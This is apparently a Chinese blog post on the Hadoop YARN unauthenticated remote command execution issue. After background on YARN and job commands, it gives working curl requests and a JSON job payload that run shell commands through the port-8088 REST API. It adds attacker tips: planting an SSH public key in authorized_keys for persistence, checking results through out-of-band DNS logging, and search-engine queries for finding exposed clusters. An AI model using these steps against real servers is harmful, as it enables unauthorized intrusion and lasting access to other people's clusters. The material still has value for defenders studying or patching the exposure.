天天看點

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

Hadoop 介紹和漏洞原理

Hadoop是一個由Apache的分布式系統基礎架構,使用者可開發分布式程式,充分利用叢集的威力進行高速運算和存儲,實作了一個分布式檔案系統(Hadoop Distributed File System)。

其中HDFS元件有高容錯性的特點,并且部署在低廉的(low-cost)硬體上即可提供高吞吐量(high throughput)來通路應用程式的資料。

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

Apache Yarn(Yet Another Resource Negotiator的縮寫)是hadoop叢集資料總管系統,Yarn從hadoop 2引入,最初是為了改善MapReduce的實作,但是它具有通用性,同樣執行其他分布式計算模式。

ApplicationMaster負責與scheduler協商合适的container,跟蹤應用程式的狀态,以及監控它們的進度,ApplicationMaster是協調叢集中應用程式執行的程序。每個應用程式都有自己的ApplicationMaster,負責與ResourceManager協商資源(container)和NodeManager協同工作來執行和監控任務 。

當一個ApplicationMaster啟動後,會周期性的向resourcemanager發送心跳報告來确認其健康和所需的資源情況,在建好的需求模型中,ApplicationMaster在發往resourcemanager中的心跳資訊中封裝偏好和限制,在随後的心跳中,ApplicationMaster會對收到叢集中特定節點上綁定了一定的資源的container的租約,根據Resourcemanager發來的container,ApplicationMaster可以更新它的執行計劃以适應資源不足或者過剩,container可以動态的配置設定和釋放資源。

與job相關的指令:

1.檢視 Job 資訊:hadoop job -list

2.殺掉 Job: hadoop job –kill job_id

3.作業的更多細節: hadoop job -history all output-dir

4.殺死任務。被殺死的任務不會不利于失敗嘗試:hadoop jab -kill-task

5.使任務失敗。被失敗的任務會對失敗嘗試不利:hadoop job -fail-task

YARN 指令:

YARN指令是調用bin/yarn腳本檔案,如果運作yarn腳本沒有帶任何參數,則會列印yarn所有指令的描述。

使用: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS]

application使用: yarn application [options]

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

運作jar檔案

使用者可以将寫好的YARN代碼打包成jar檔案,用這個指令去運作它:

yarn jar [mainClass] args...

RCE 實作

使用ROOT權限啟動的Hadoop服務可根據在伺服器8088端口接收使用者送出的POST資料,根據其中參數執行相關job,具體實作如下:

8088端口的Applications manager:

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

1. 申請新的application,直接通過curl進行POST請求:

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

傳回内容類似于:

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}

2. 構造并送出任務

構造json檔案1.json,内容如下,其中application-id對應上面得到的id,指令内容為嘗試在/var/tmp目錄下建立test_1檔案,内容也為111:

{

"am-container-spec":{

"commands":{

"command":"echo '111' >> /var/tmp/test_1"

}

},

"application-id":"application_1527144634877_20465",

"application-name":"test",

"application-type":"YARN"

}

然後直接使用curl發送資料:

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻擊,指令被執行,在相應目錄下可以看到生成了對應檔案,在8088端口Web界面可看到相關資訊:

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

技巧:

1 可配合ceye、dnslog測試指令執行結果,或在/home/user/.ssh/authorized_keys中寫入公鑰。

2 搜尋開放服務:title="All Applications"

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

或者port=50070

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

但此方式有三點限制:

1 服務需管理者權限啟動,執行指令也是管理者權限執行,普通使用者五相關指令權限隻會有失敗記錄,指令最終執行失敗,留下難以删除的攻擊記錄。

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

2 Hadoop的8088管理端口若使用了權限認證,會提示

AuthorizationException:"message":"Unable to obtain user name, user not authenticated。

hadoop漏洞_大資料-淺析Hadoop指令執行漏洞

3 master+slave節點數大于等于2,job任務會根據hadoop分布式機制送出到任一台節點處理,目前筆者還未找到指定namenode的方法。